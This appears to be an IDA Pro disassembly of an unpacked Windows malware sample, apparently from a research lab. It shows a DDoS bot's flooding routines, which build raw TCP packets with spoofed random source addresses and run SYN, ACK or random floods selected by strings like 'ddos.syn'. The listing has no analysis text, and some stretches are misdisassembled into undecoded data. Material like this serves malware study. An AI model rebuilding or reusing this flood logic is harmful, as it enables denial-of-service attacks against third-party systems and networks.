;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 4E572E3FAEAC3E82F58DBF7E45724FF9
; File Name : u:\work\4e572e3faeac3e82f58dbf7e45724ff9_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0001E000 ( 122880.)
; Section size in file : 0001E000 ( 122880.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg000 segment para public 'CODE' use32
assume cs:seg000
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near ; DATA XREF: seg000:0040EC3Bo
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E9
push eax
lea eax, [ebp+var_494]
push offset unk_421040
push eax
call sub_4135AD
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_4110B0
add esp, 14h
loc_401090: ; CODE XREF: start+6Ej
lea eax, [ebp+var_494]
push eax
call sub_409615
push [ebp+var_290]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
wait
pop edi
pop esi
start endp ; sp-analysis failed
loc_4010B2: ; CODE XREF: sub_4013E9+40p
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call ds:dword_42F680
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: seg000:004010E9j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_42F7AC
cmp eax, 0FFFFFFFFh
mov [ebp-20h], eax
jz loc_4013DD
push esi
lea ecx, [ebp-40h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-40h], edi
call ds:dword_42F6E8
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push dword ptr [ebp+14h]
mov word ptr [ebp-58h], 2
call ds:dword_42F708
mov esi, [ebp+8]
push 28h
mov [ebp-56h], ax
mov [ebp-54h], esi
mov byte ptr [ebp-34h], 45h
call ds:dword_42F708
push dword ptr [ebp+14h]
mov [ebp-32h], ax
mov [ebp-30h], di
mov [ebp-2Eh], bx
mov byte ptr [ebp-2Ch], 80h
mov byte ptr [ebp-2Bh], 6
mov [ebp-2Ah], bx
mov [ebp-24h], esi
call ds:dword_42F708
mov [ebp-12h], ax
call sub_413609
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_42F708
push 12345678h
mov [ebp-14h], ax
call ds:dword_42F704
push offset aDdos_syn ; "ddos.syn"
mov [ebp-10h], eax
push dword ptr [ebp+10h]
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: seg000:004011B7j
push offset aDdos_ack ; "ddos.ack"
push dword ptr [ebp+10h]
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: seg000:004011D3j
push offset aDdos_random ; "ddos.random"
push dword ptr [ebp+10h]
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_413609
push 3
cdq
pop ecx
idiv ecx
mov [ebp-0Ch], edx
call sub_413609
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp-7], dl
loc_401216: ; CODE XREF: seg000:004011C0j
; seg000:004011DCj ...
push 4000h
mov byte ptr [ebp-8], 50h
call ds:dword_42F708
mov [ebp-6], ax
lea eax, [ebp-48h]
push eax
mov [ebp-2], bx
mov [ebp+10h], ebx
call near ptr 0A70000h
fisttp dword ptr [ebp-17AF1BBBh]
mov ebp, 0D0066EDh
push dword ptr [ebp-44h]
mov eax, [ebp+18h]
cdq
push dword ptr [ebp-48h]
push edx
push eax
call sub_413A60
add eax, [ebp-1Ch]
push 14h
pop esi
adc edx, [ebp-18h]
mov [ebp-3Ch], eax
mov [ebp-38h], edx
mov [ebp-4], bx
call sub_413609
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_42F708
mov [ebp-14h], ax
call sub_413609
mov edi, eax
shl edi, 10h
call sub_413609
or edi, eax
push edi
call ds:dword_42F708
movzx eax, ax
mov [ebp-10h], eax
mov eax, [ebp+0Ch]
inc dword ptr [ebp+0Ch]
push eax
call ds:dword_42F704
mov [ebp-28h], eax
mov eax, [ebp-24h]
push esi
mov [ebp-74h], eax
mov [ebp-70h], bl
mov byte ptr [ebp-6Fh], 6
call ds:dword_42F708
mov [ebp-6Eh], ax
mov eax, [ebp-28h]
mov [ebp-78h], eax
lea eax, [ebp-78h]
push 20h
push eax
lea eax, [ebp-0B4h]
push eax
call sub_413690
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-94h]
push eax
call sub_413690
lea eax, [ebp-0B4h]
push 34h
push eax
call sub_408672
mov [ebp-4], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_413690
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-0A0h]
push eax
call sub_413690
push 4
lea eax, [ebp-8Ch]
push ebx
push eax
call sub_413630
add esp, 44h
lea eax, [ebp-0B4h]
push 28h
push eax
call sub_408672
mov [ebp-2Ah], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_413690
add esp, 14h
lea eax, [ebp-58h]
push 10h
push eax
push ebx
lea eax, [ebp-0B4h]
push 28h
push eax
push dword ptr [ebp-20h]
call ds:dword_42F76C
cmp eax, 0FFFFFFFFh
jz short loc_4013A7
add [ebp+10h], eax
lea eax, [ebp-1Ch]
push eax
call near ptr 0A70000h
mov ah, 8Bh
inc ebp
call near ptr 800858CEh
cmp al, 0Fh
mov edx, cs
; ---------------------------------------------------------------------------
db 0FEh
dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4013A7: ; CODE XREF: seg000:0040137Dj
call ds:dword_42F69C
push eax
lea eax, [ebp-0F4h]
push offset unk_42107C
push eax
call sub_4135AD
lea eax, [ebp-0F4h]
push eax
call sub_409615
add esp, 10h
jmp short loc_4013D3
; ---------------------------------------------------------------------------
mov ebx, [ebp+10h]
loc_4013D3: ; CODE XREF: seg000:0040112Aj
; seg000:004013CEj
push dword ptr [ebp-20h]
call ds:dword_42F7A0
pop esi
loc_4013DD: ; CODE XREF: seg000:0040110Dj
call ds:dword_42F668
mov eax, ebx
loc_4013E5: ; CODE XREF: seg000:004010EDj
pop edi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4013E9 proc near ; CODE XREF: start+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_408503
push [esp+10h+arg_4]
mov esi, eax
call sub_413B1F
push [esp+14h+arg_C]
mov ebx, eax
call sub_413B1F
mov edi, eax
call sub_413609
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call loc_4010B2
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; ---------------------------------------------------------------------------
loc_401447: ; DATA XREF: seg000:0040EE23o
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+8]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-1BCh]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call ds:dword_42F788
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short near ptr loc_4014E1+1
call ds:dword_42F69C
push eax
lea eax, [ebp-3BCh]
push offset unk_42121C
push eax
call sub_4135AD
xor edi, edi
add esp, 0Ch
cmp [ebp-24h], edi
jnz short loc_4014C5
push edi
lea eax, [ebp-3BCh]
push dword ptr [ebp-28h]
push eax
lea eax, [ebp-0B8h]
push eax
push dword ptr [ebp-1BCh]
call sub_4110B0
add esp, 14h
loc_4014C5: ; CODE XREF: seg000:004014A3j
lea eax, [ebp-3BCh]
push eax
call sub_409615
push dword ptr [ebp-38h]
call sub_413375
pop ecx
pop ecx
push edi
call near ptr 0A70000h
loc_4014E1: ; CODE XREF: seg000:00401481j
arpl [ebp+46AF44Dh], cx
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp-0Ch], ebx
call ds:dword_42F6E8
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_401558+1
call ds:dword_42F69C
push eax
lea eax, [ebp-3BCh]
push offset unk_4211D0
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-24h], edi
jnz short loc_40153C
push edi
lea eax, [ebp-3BCh]
push dword ptr [ebp-28h]
push eax
lea eax, [ebp-0B8h]
push eax
push dword ptr [ebp-1BCh]
call sub_4110B0
add esp, 14h
loc_40153C: ; CODE XREF: seg000:0040151Aj
lea eax, [ebp-3BCh]
push eax
call sub_409615
push dword ptr [ebp-38h]
call sub_413375
pop ecx
pop ecx
push edi
call near ptr 0A70000h
loc_401558: ; CODE XREF: seg000:004014FAj
lea eax, [di-1B8h]
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 50h
dd 0F74815FFh, 0F8830042h, 8D5575FFh, 0FFFC4485h, 119C68FFh
dd 0E8500042h, 12031h, 59DC7D39h, 57207559h, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FB10h, 8D14C483h, 0FFFC4485h, 66E850FFh, 0FF000080h
dd 0BEE8C875h, 5900011Dh, 41E85759h, 8D0066EAh, 458D106Ah
dd 0E85057E4h, 12064h, 660CC483h, 2E445C7h, 15FF5700h
dd 42F708h, 0E6458966h, 0FE48858Dh, 0FF50FFFFh, 42F74815h
dd 44358B00h, 890041F0h, 7D89E845h, 89D6FF08h, 0D6FFF845h
dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 0FD0453Bh, 19487h
dd 41C6800h, 5C60000h, 42DF18h, 815FF45h, 390042F7h, 0A366D47Dh
dd 42DF1Ah, 1C1D8966h, 660042DFh, 0DF1E3D89h, 5C60042h
dd 42DF20h, 211D8880h, 660042DFh, 0DF223D89h, 30740042h
dd 11FB0E8h, 0C1D88B00h, 0A6E808E3h, 300011Fh, 8E3C1D8h
dd 11F9CE8h, 0C1D80300h, 92E808E3h, 300011Fh, 89016AD8h
dd 42DF241Dh, 18EB5B00h, 0FE44B5FFh, 8AE8FFFFh, 5900006Fh
dd 4815FF50h, 0A30042F7h, 42DF24h, 0A3E8458Bh, 42DF28h
dd 11F60E8h, 0B99900h, 0F7000001h, 2C1588F9h, 0E80042DFh
dd 11F4Dh, 100B999h, 0F9F70000h, 0DF2D1588h, 3AE80042h
dd 9900011Fh, 0F0B9h, 4006800h, 0F9F70000h, 2E3D8966h
dd 660042DFh, 0DF321D89h, 66420042h, 0DF301589h, 12E80042h
dd 9900011Fh, 0FFB9h, 52F9F700h, 42DF3468h, 1F26E800h
dd 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h, 0DF186800h
dd 75FF0042h, 6C15FFFCh, 830042F7h, 874FFF8h, 0E90845FFh
dd 0FFFFFECAh, 0FFFC75FFh, 42F7A015h, 9C15FF00h, 500042F6h
dd 0FE48858Dh, 75FFFFFFh, 38685008h, 8D004211h, 0FFFC4485h
dd 20068FFh, 0E8500000h, 123C6h, 3918C483h, 2075DC7Dh
dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh
dd 0FFFFFE44h, 0F927E8h, 14C48300h, 0FC44858Dh, 0E850FFFFh
dd 7E7Dh, 0E8C875FFh, 11BD5h, 0E8575959h, 66E858h, 0FC75FF95h
dd 0F7A015FFh, 458B0042h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h
dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh, 0C8858D50h
dd 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 50004210h, 11DC4E8h
dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0F8A2E8FFh, 0C4830000h
dd 44858D14h, 50FFFFFCh, 7DF8E8h, 0C875FF00h, 11B50E8h
dd 57595900h, 66E7D3E8h
db 0, 11h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: seg000:0040EB2Co
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_421264
push eax
call sub_4135AD
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_4110B0
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+var_414]
push eax
call sub_409615
push [ebp+var_10]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
cli
pop edi
pop esi
sub_40182E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CA proc near ; CODE XREF: sub_401B7C+3Cp
var_284 = byte ptr -284h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = byte ptr -40h
var_38 = dword ptr -38h
var_32 = word ptr -32h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call ds:dword_42F680
test eax, eax
jz short loc_40190A
xor eax, eax
jmp loc_401B78
; ---------------------------------------------------------------------------
loc_40190A: ; CODE XREF: sub_4018CA+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_42F7AC
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401B70
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call ds:dword_42F6E8
cmp eax, 0FFFFFFFFh
jz loc_401B66
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_413630
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call ds:dword_42F708
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call ds:dword_42F708
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call ds:dword_42F708
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call ds:dword_42F708
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call near ptr 0A70000h
repne lea eax, [ebp+var_8]
push eax
call near ptr 0A70000h
jmp near ptr 8C048FDCh
; ---------------------------------------------------------------------------
db 45h, 14h, 99h
dd 52C075FFh, 2076E850h, 45030001h, 13F28BF8h, 4589FC75h
dd 5D8966A8h, 1C0BE8DCh, 0B9990001h, 3E9h, 0C281F9F7h
dd 3E8h, 815FF52h, 660042F7h, 0E8CC4589h, 11BEDh, 0E7C1F88Bh
dd 1BE3E810h, 0F80B0001h, 815FF57h, 0F0042F7h, 4589C0B7h
dd 0C458BD0h, 500C45FFh, 0F70415FFh, 146A0042h, 8BEC4589h
dd 575FF045h, 888C4589h, 45C6905Dh, 15FF0691h, 42F708h
dd 92458966h, 89EC458Bh, 458D8845h, 50206A88h, 0FF4C858Dh
dd 0E850FFFFh, 11C18h, 57CC458Dh, 6C858D50h, 50FFFFFFh
dd 11C07E8h, 4C858D00h, 6AFFFFFFh, 0DBE85034h, 6600006Bh
dd 8DDC4589h, 5057E045h, 0FF4C858Dh, 0E850FFFFh, 11BE4h
dd 57CC458Dh, 60858D50h, 50FFFFFFh, 11BD3E8h, 8D046A00h
dd 0FFFF7485h, 0E85053FFh, 11B64h, 8D44C483h, 0FFFF4C85h
dd 50286AFFh, 6B95E8h, 45896600h, 0E0458DEAh, 858D5057h
dd 0FFFFFF4Ch, 1B9EE850h, 0C4830001h, 0B0458D14h, 5350106Ah
dd 0FF4C858Dh, 286AFFFFh, 0F475FF50h, 0F76C15FFh, 0F8830042h
dd 12774FFh, 458D1045h, 0E1E850F8h, 340066E4h, 3BFC458Bh
dd 0F3C7FC6h, 0FFFEC88Ch, 0F8458BFFh, 73A8453Bh, 0FEBBE92Eh
dd 15FFFFFFh, 42F69Ch, 0C858D50h, 68FFFFFFh, 4212A0h, 1A5BE850h
dd 858D0001h, 0FFFFFF0Ch, 7AB7E850h, 0C4830000h, 8B03EB10h
db 5Dh, 10h
; ---------------------------------------------------------------------------
loc_401B66: ; CODE XREF: sub_4018CA+78j
push [ebp+var_C]
call ds:dword_42F7A0
pop esi
loc_401B70: ; CODE XREF: sub_4018CA+5Bj
call ds:dword_42F668
mov eax, ebx
loc_401B78: ; CODE XREF: sub_4018CA+3Bj
pop edi
pop ebx
leave
retn
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_408503
push [esp+10h+arg_4]
mov esi, eax
call sub_413B1F
push [esp+14h+arg_8]
mov ebx, eax
call sub_413B1F
mov edi, eax
call sub_413609
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4018CA
add esp, 1Ch
test eax, eax
jnz short loc_401BC7
push 1
pop eax
loc_401BC7: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; ---------------------------------------------------------------------------
loc_401BD6: ; DATA XREF: seg000:0040DF79o
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-240h]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp-9Fh]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp-0A0h], bl
rep stosd
stosw
stosb
mov edi, ds:dword_41F044
call edi ; dword_41F044
push eax
call sub_4135FF
pop ecx
push 0FFh
push 3
push 2
call ds:dword_42F788
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_401C9F
call ds:dword_42F69C
push eax
lea eax, [ebp-440h]
push offset dword_421428
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-0A8h], ebx
jnz short loc_401C7F
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_4110B0
add esp, 14h
loc_401C7F: ; CODE XREF: seg000:00401C5Aj
lea eax, [ebp-440h]
push eax
call sub_409615
push dword ptr [ebp-0BCh]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
movsd
loc_401C9F: ; CODE XREF: seg000:00401C37j
lea ecx, [ebp-34h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-34h], esi
call ds:dword_42F6E8
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_401D1C+1
call ds:dword_42F69C
push eax
lea eax, [ebp-440h]
push offset dword_4213DC
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-0A8h], ebx
jnz short loc_401CFD
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_4110B0
add esp, 14h
loc_401CFD: ; CODE XREF: seg000:00401CD8j
lea eax, [ebp-440h]
push eax
call sub_409615
push dword ptr [ebp-0BCh]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
loc_401D1C: ; CODE XREF: seg000:00401CB5j
sub [ebp-23B7Bh], cl
call dword ptr [eax-1]
adc eax, offset dword_42F748
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_401D8C+1
lea eax, [ebp-440h]
push offset dword_4213A8
push eax
call sub_4135AD
cmp [ebp-0A8h], ebx
pop ecx
pop ecx
jnz short loc_401D6D
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_4110B0
add esp, 14h
loc_401D6D: ; CODE XREF: seg000:00401D48j
lea eax, [ebp-440h]
push eax
call sub_409615
push dword ptr [ebp-0BCh]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
loc_401D8C: ; CODE XREF: seg000:00401D2Dj
mov ecx, 458D106Ah
mov esp, 97E85053h
sbb [ecx], al
add [ebx-3899F33Ch], al
inc ebp
mov esp, 0FF530002h
adc eax, offset dword_42F708
mov [ebp-42h], ax
lea eax, [ebp-23Ch]
push eax
call ds:dword_42F748
mov [ebp-40h], eax
mov [ebp+8], ebx
call edi ; dword_41F044
mov [ebp-30h], eax
loc_401DC5: ; CODE XREF: seg000:00402006j
call edi ; dword_41F044
sub eax, [ebp-30h]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp-0B4h]
ja near ptr loc_402088+1
push 28h
mov byte ptr [ebp-2Ch], 45h
call ds:dword_42F708
cmp [ebp-0B0h], ebx
mov [ebp-2Ah], ax
mov [ebp-28h], si
mov [ebp-26h], bx
mov byte ptr [ebp-24h], 80h
mov byte ptr [ebp-23h], 6
mov [ebp-22h], bx
jz short loc_401E38
call sub_413609
mov esi, eax
shl esi, 8
call sub_413609
add esi, eax
shl esi, 8
call sub_413609
add esi, eax
shl esi, 8
call sub_413609
add esi, eax
push 1
mov [ebp-20h], esi
pop esi
jmp short loc_401E4E
; ---------------------------------------------------------------------------
loc_401E38: ; CODE XREF: seg000:00401E09j
push dword ptr [ebp-240h]
call sub_408619
pop ecx
push eax
call ds:dword_42F748
mov [ebp-20h], eax
loc_401E4E: ; CODE XREF: seg000:00401E36j
mov eax, [ebp-40h]
cmp [ebp-0B8h], ebx
mov [ebp-1Ch], eax
jnz short loc_401E6C
call sub_413609
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401E72
; ---------------------------------------------------------------------------
loc_401E6C: ; CODE XREF: seg000:00401E5Aj
push dword ptr [ebp-0B8h]
loc_401E72: ; CODE XREF: seg000:00401E6Aj
call ds:dword_42F708
mov [ebp-16h], ax
call sub_413609
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_42F708
push 12345678h
mov [ebp-18h], ax
call ds:dword_42F704
mov [ebp-14h], eax
lea eax, [ebp-1BCh]
push offset aSyn ; "syn"
push eax
call sub_413B80
pop ecx
test eax, eax
pop ecx
jz short loc_401EC2
mov [ebp-10h], ebx
mov byte ptr [ebp-0Bh], 2
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EC2: ; CODE XREF: seg000:00401EB7j
lea eax, [ebp-1BCh]
push offset aAck ; "ack"
push eax
call sub_413B80
pop ecx
test eax, eax
pop ecx
jz short loc_401EE2
mov [ebp-10h], ebx
mov byte ptr [ebp-0Bh], 10h
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EE2: ; CODE XREF: seg000:00401ED7j
lea eax, [ebp-1BCh]
push offset aRandom ; "random"
push eax
call sub_413B80
pop ecx
test eax, eax
pop ecx
jz short loc_401F1E
call sub_413609
push 3
cdq
pop ecx
idiv ecx
mov [ebp-10h], edx
call sub_413609
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp-0Bh], dl
loc_401F1E: ; CODE XREF: seg000:00401EC0j
; seg000:00401EE0j ...
push 200h
mov byte ptr [ebp-0Ch], 50h
call ds:dword_42F708
mov [ebp-0Ah], ax
mov eax, [ebp-20h]
mov [ebp-64h], eax
mov eax, [ebp-1Ch]
push 14h
mov [ebp-6], bx
mov [ebp-8], bx
mov [ebp-60h], eax
mov [ebp-5Ch], bl
mov byte ptr [ebp-5Bh], 6
call ds:dword_42F708
mov [ebp-5Ah], ax
lea eax, [ebp-64h]
push 20h
push eax
lea eax, [ebp-0A0h]
push eax
call sub_413690
lea eax, [ebp-18h]
push 14h
push eax
lea eax, [ebp-80h]
push eax
call sub_413690
lea eax, [ebp-0A0h]
push 34h
push eax
call sub_408672
mov [ebp-8], ax
lea eax, [ebp-2Ch]
push 14h
push eax
lea eax, [ebp-0A0h]
push eax
call sub_413690
lea eax, [ebp-18h]
push 14h
push eax
lea eax, [ebp-8Ch]
push eax
call sub_413690
push 4
lea eax, [ebp-78h]
push ebx
push eax
call sub_413630
add esp, 44h
lea eax, [ebp-0A0h]
push 28h
push eax
call sub_408672
mov [ebp-22h], ax
lea eax, [ebp-2Ch]
push 14h
push eax
lea eax, [ebp-0A0h]
push eax
call sub_413690
add esp, 14h
lea eax, [ebp-44h]
push 10h
push eax
push ebx
lea eax, [ebp-0A0h]
push 3Ch
push eax
push dword ptr [ebp-4]
call ds:dword_42F76C
cmp eax, 0FFFFFFFFh
jz short loc_40200B
inc dword ptr [ebp+8]
jmp loc_401DC5
; ---------------------------------------------------------------------------
loc_40200B: ; CODE XREF: seg000:00402001j
push dword ptr [ebp-4]
call ds:dword_42F7A0
call ds:dword_42F69C
push eax
lea eax, [ebp-23Ch]
push dword ptr [ebp+8]
push eax
push offset dword_421334
lea eax, [ebp-440h]
push 200h
push eax
call sub_413B2A
add esp, 18h
cmp [ebp-0A8h], ebx
jnz short loc_402069
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_4110B0
add esp, 14h
loc_402069: ; CODE XREF: seg000:00402044j
lea eax, [ebp-440h]
push eax
call sub_409615
push dword ptr [ebp-0BCh]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
